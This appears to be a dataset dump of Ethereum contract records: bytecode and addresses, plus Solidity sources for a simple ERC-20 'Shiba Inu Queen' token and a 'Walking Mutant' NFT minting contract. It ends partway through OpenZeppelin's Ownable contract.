0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d35780630988ca8c146102385780630a2eb301146102c157806318160ddd1461031c578063217fe6c61461034757806323b872dd146103e8578063311028af1461046d578063313ce567146104985780633f4ba83a146104c95780635c975abb146104e0578063661884631461050f57806368fa81341461057457806370a08231146105cf578063715018a6146106265780638456cb591461063d5780638da5cb5b1461065457806395d89b41146106ab578063a9059cbb1461073b578063c9991176146107a0578063d73dd623146107fb578063dd62ed3e14610860578063ecdfdc27146108d7578063f2fde38b14610967575b600080fd5b34801561014f57600080fd5b506101586109aa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019857808201518184015260208101905061017d565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a48565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b506102bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610b3a565b005b3480156102cd57600080fd5b50610302600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bbb565b604051808215151515815260200191505060405180910390f35b34801561032857600080fd5b50610331610c03565b6040518082815260200191505060405180910390f35b34801561035357600080fd5b506103ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610c0d565b604051808215151515815260200191505060405180910390f35b3480156103f457600080fd5b50610453600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c94565b604051808215151515815260200191505060405180910390f35b34801561047957600080fd5b50610482610d0c565b6040518082815260200191505060405180910390f35b3480156104a457600080fd5b506104ad610d12565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104d557600080fd5b506104de610d25565b005b3480156104ec57600080fd5b506104f5610de5565b604051808215151515815260200191505060405180910390f35b34801561051b57600080fd5b5061055a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df8565b604051808215151515815260200191505060405180910390f35b34801561058057600080fd5b506105b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611089565b604051808215151515815260200191505060405180910390f35b3480156105db57600080fd5b50610610600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611147565b6040518082815260200191505060405180910390f35b34801561063257600080fd5b5061063b611190565b005b34801561064957600080fd5b50610652611295565b005b34801561066057600080fd5b50610669611356565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b757600080fd5b506106c061137c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107005780820151818401526020810190506106e5565b50505050905090810190601f16801561072d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561074757600080fd5b50610786600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061141a565b604051808215151515815260200191505060405180910390f35b3480156107ac57600080fd5b506107e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611490565b604051808215151515815260200191505060405180910390f35b34801561080757600080fd5b50610846600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061154e565b604051808215151515815260200191505060405180910390f35b34801561086c57600080fd5b506108c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174a565b6040518082815260200191505060405180910390f35b3480156108e357600080fd5b506108ec6117d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561092c578082015181840152602081019050610911565b50505050905090810190601f1680156109595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097357600080fd5b506109a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061180a565b005b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a405780601f10610a1557610100808354040283529160200191610a40565b820191906000526020600020905b815481529060010190602001808311610a2357829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b610bb7826007836040518082805190602001908083835b602083101515610b765780518252602082019150602081019050602083039250610b51565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061187290919063ffffffff16565b5050565b6000610bfc826040805190810160405280600d81526020017f61646d696e6973747261746f7200000000000000000000000000000000000000815250610c0d565b9050919050565b6000600454905090565b6000610c8c836007846040518082805190602001908083835b602083101515610c4b5780518252602082019150602081019050602083039250610c26565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061188b90919063ffffffff16565b905092915050565b6000600660149054906101000a900460ff161580610ced5750610cec336040805190810160405280600d81526020017f61646d696e6973747261746f7200000000000000000000000000000000000000815250610c0d565b5b1515610cf857600080fd5b610d038484846118e4565b90509392505050565b60085481565b600260009054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8157600080fd5b600660149054906101000a900460ff161515610d9c57600080fd5b6000600660146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600660149054906101000a900460ff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f09576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9d565b610f1c8382611ca390919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e757600080fd5b6110f082610bbb565b1561113d57611134826040805190810160405280600d81526020017f61646d696e6973747261746f7200000000000000000000000000000000000000815250611cbc565b60019050611142565b600090505b919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ec57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112f157600080fd5b600660149054906101000a900460ff1615151561130d57600080fd5b6001600660146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114125780601f106113e757610100808354040283529160200191611412565b820191906000526020600020905b8154815290600101906020018083116113f557829003601f168201915b505050505081565b6000600660149054906101000a900460ff1615806114735750611472336040805190810160405280600d81526020017f61646d696e6973747261746f7200000000000000000000000000000000000000815250610c0d565b5b151561147e57600080fd5b6114888383611e0d565b905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ee57600080fd5b6114f782610bbb565b156115055760009050611549565b611544826040805190810160405280600d81526020017f61646d696e6973747261746f7200000000000000000000000000000000000000815250612031565b600190505b919050565b60006115df82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218290919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040805190810160405280600d81526020017f61646d696e6973747261746f720000000000000000000000000000000000000081525081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561186657600080fd5b61186f8161219e565b50565b61187c828261188b565b151561188757600080fd5b5050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561192157600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561196f57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156119fa57600080fd5b611a4c82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca390919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae182600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218290919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bb382600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca390919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611cb157fe5b818303905092915050565b611d39826007836040518082805190602001908083835b602083101515611cf85780518252602082019150602081019050602083039250611cd3565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061229a90919063ffffffff16565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611dce578082015181840152602081019050611db3565b50505050905090810190601f168015611dfb5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e4a57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e9857600080fd5b611eea82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca390919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7f82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218290919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6120ae826007836040518082805190602001908083835b60208310151561206d5780518252602082019150602081019050602083039250612048565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206122f890919063ffffffff16565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b7004898282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612143578082015181840152602081019050612128565b50505050905090810190601f1680156121705780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b6000818301905082811015151561219557fe5b80905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156121da57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a7230582093a740e6a16184e681231569d71da8933c18836fad34e8845f01067d4fb5c8330029
[ 38 ]
0xf24a33c9c5a629ce1723ee5420a611af2b3ae661
/** Shiba Inu Queen (SHIBAQUEEN) - Community Token **/ // SPDX-License-Identifier: MIT pragma solidity >=0.5.17; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ShibaInuQueen is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Shiba Inu Queen Token"; symbol = "SHIBAQUEEN"; decimals = 9; _totalSupply = 100000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a72315820511b094eb31e4c1e16d427ff04deca633a1383bb60a50041c6ed41593e4b5b8164736f6c63430005110032
[ 38 ]
0xF24a4e4B5F002A0c72b2677A666C634c587e66Ec
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ERC721Enumerable.sol"; interface IWalkingApe { function walletOfOwner(address _owner) external view returns (uint256[] memory); } contract WalkingMutant is ERC721Enumerable, Ownable { string public baseURI ; address public proxyRegistryAddress; uint256 public MAX_SUPPLY ; uint256 public MAX_PUBLIC_SUPPLY ; uint256 public MAX_PER_TX = 11; uint256 public priceInWei = 0.04 ether; uint256 public priceClaim = 0 ether; address public wa_Address ; bool public claimPause = true; mapping(address => bool) public projectProxy; mapping(uint256 => bool) public claimed; constructor( string memory _baseURI, address _proxyRegistryAddress ) ERC721("Walking Mutant", "Walking Mutant") { baseURI = _baseURI; proxyRegistryAddress = _proxyRegistryAddress; } function setBaseURI(string memory _baseURI) public onlyOwner { baseURI = _baseURI; } function tokenURI(uint256 _tokenId) public view override returns (string memory) { require(_exists(_tokenId), "Token does not exist."); return string(abi.encodePacked(baseURI, Strings.toString(_tokenId))); } function mint(uint256 count) public payable { uint256 totalSupply = _owners.length; require(totalSupply + count < MAX_PUBLIC_SUPPLY, "Excedes max supply."); require(count < MAX_PER_TX, "Exceeds max per transaction."); require(count * priceInWei == msg.value, "Invalid funds provided."); for(uint i; i < count; i++) { _mint(_msgSender(), totalSupply + i); } } function claim() public payable { require( !claimPause, "Claim session is not live!"); uint256 totalSupply = _owners.length; uint256[] memory tokensList = IWalkingApe(wa_Address).walletOfOwner(_msgSender()); uint256 count = tokensList.length; for(uint i; i < tokensList.length; i++) { if ( claimed[tokensList[i]] ) { count = count - 1 ; } else { claimed[tokensList[i]] = true; } } require( count > 0, "You don't have any unclaimed Walking Ape tokens."); require(totalSupply + count < MAX_SUPPLY, "Excedes max supply."); require(count * priceClaim == msg.value, "Invalid funds provided."); for(uint i; i < count; i++) { _mint(_msgSender(), totalSupply + i); } } function collectReserves() external onlyOwner { for(uint256 i; i < 10; i++) _mint(_msgSender(), i); } function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner { proxyRegistryAddress = _proxyRegistryAddress; } function flipProxyState(address proxyAddress) public onlyOwner { projectProxy[proxyAddress] = !projectProxy[proxyAddress]; } function claimStatus(uint256 _tokenID) public view returns (bool) { return claimed[_tokenID]; } function setmaxSupply(uint256 _newMax) public onlyOwner { MAX_SUPPLY = _newMax; } function setmaxPublicSupply(uint256 _newPublicMax) public onlyOwner { MAX_PUBLIC_SUPPLY = _newPublicMax; } function setWAaddress(address _wa) public onlyOwner { wa_Address = _wa; } function setPause(bool _state) public onlyOwner { claimPause = _state; } function setPrice(uint256 _newPrice) public onlyOwner { priceInWei = _newPrice; } function setPriceClaim(uint256 _newClaim) public onlyOwner { priceClaim = _newClaim; } function setTX(uint256 _newTX) public onlyOwner { MAX_PER_TX = _newTX; } function burn(uint256 tokenId) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not approved to burn."); _burn(tokenId); } function withdraw() public onlyOwner { require( payable(owner()).send(address(this).balance), "Withdraw unsuccessful" ); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) return new uint256[](0); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function batchTransferFrom(address _from, address _to, uint256[] memory _tokenIds) public { for (uint256 i = 0; i < _tokenIds.length; i++) { transferFrom(_from, _to, _tokenIds[i]); } } function batchSafeTransferFrom(address _from, address _to, uint256[] memory _tokenIds, bytes memory data_) public { for (uint256 i = 0; i < _tokenIds.length; i++) { safeTransferFrom(_from, _to, _tokenIds[i], data_); } } function isOwnerOf(address account, uint256[] calldata _tokenIds) external view returns (bool){ for(uint256 i; i < _tokenIds.length; ++i ){ if(_owners[_tokenIds[i]] != account) return false; } return true; } function isApprovedForAll(address _owner, address operator) public view override returns (bool) { OpenSeaProxyRegistry proxyRegistry = OpenSeaProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(_owner)) == operator || projectProxy[operator]) return true; return super.isApprovedForAll(_owner, operator); } function _mint(address to, uint256 tokenId) internal virtual override { _owners.push(to); emit Transfer(address(0), to, tokenId); } } contract OwnableDelegateProxy { } contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by 